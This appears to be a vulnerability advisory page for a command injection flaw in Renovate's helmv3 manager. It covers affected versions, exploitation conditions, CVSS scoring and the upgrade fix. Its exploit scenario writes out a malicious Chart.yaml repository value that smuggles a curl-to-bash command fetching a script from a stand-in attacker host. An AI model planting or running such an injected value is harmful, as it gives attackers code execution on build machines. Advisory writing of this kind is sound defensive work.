DescriptionCVE.org

Renovate versions from 31.51.0 before 40.33.0 contain a command injection vulnerability in the helmv3 manager where the repository parameter is appended to helm registry login commands without proper sanitization. Attackers with repository write access can craft malicious Chart.yaml files to execute arbitrary commands on the machine running Renovate.

AnalysisAI

Command injection in Renovate's helmv3 manager (versions 31.51.0 through 40.32.x) allows repository contributors with write access to execute arbitrary OS commands on the system running Renovate by embedding shell metacharacters in the repository field of a crafted Chart.yaml file. The unsanitized value is interpolated directly into a helm registry login shell invocation without applying shlex.quote() escaping. …

Vulnerability AssessmentAI

Exploitation Exploitation requires three concurrent conditions: (1) the attacker holds write access to a git repository actively monitored by a vulnerable Renovate instance (versions 31.51.0 to 40.32.x); (2) the `helmv3` manager is enabled, which occurs automatically when Renovate detects a `Chart.yaml` with OCI (`oci://`) or HTTPS repository dependencies; and (3) Renovate's `hostRules` configuration includes credentials matching the targeted registry host, because the `helm registry login` command - and thus the injection point - is only invoked when credentials are configured for that host. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 8.4 with vector AV:L/AC:L/AT:N/PR:H/UI:N reflects that exploitation requires the attacker to hold write access to the repository being processed - a meaningful prerequisite that narrows the attack surface compared to a network-exploitable, unauthenticated flaw. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with write access to a git repository monitored by Renovate commits a `Chart.yaml` with a malicious `repository` field such as `oci://charts.bitnami.com/bitnami || curl https://attacker.com/shell.sh | bash`, paired with a `renovate.json5` that configures matching `hostRules` credentials for that registry host. When Renovate's helmv3 manager processes the chart's dependencies, it constructs and executes `helm registry login ... …
Remediation Upgrade Renovate to version 40.33.0 or later, which applies proper shell escaping via `shlex.quote()` to the `repository` parameter before passing it to `helm registry login`. … Detailed patch versions, workarounds, and compensating controls in full report.
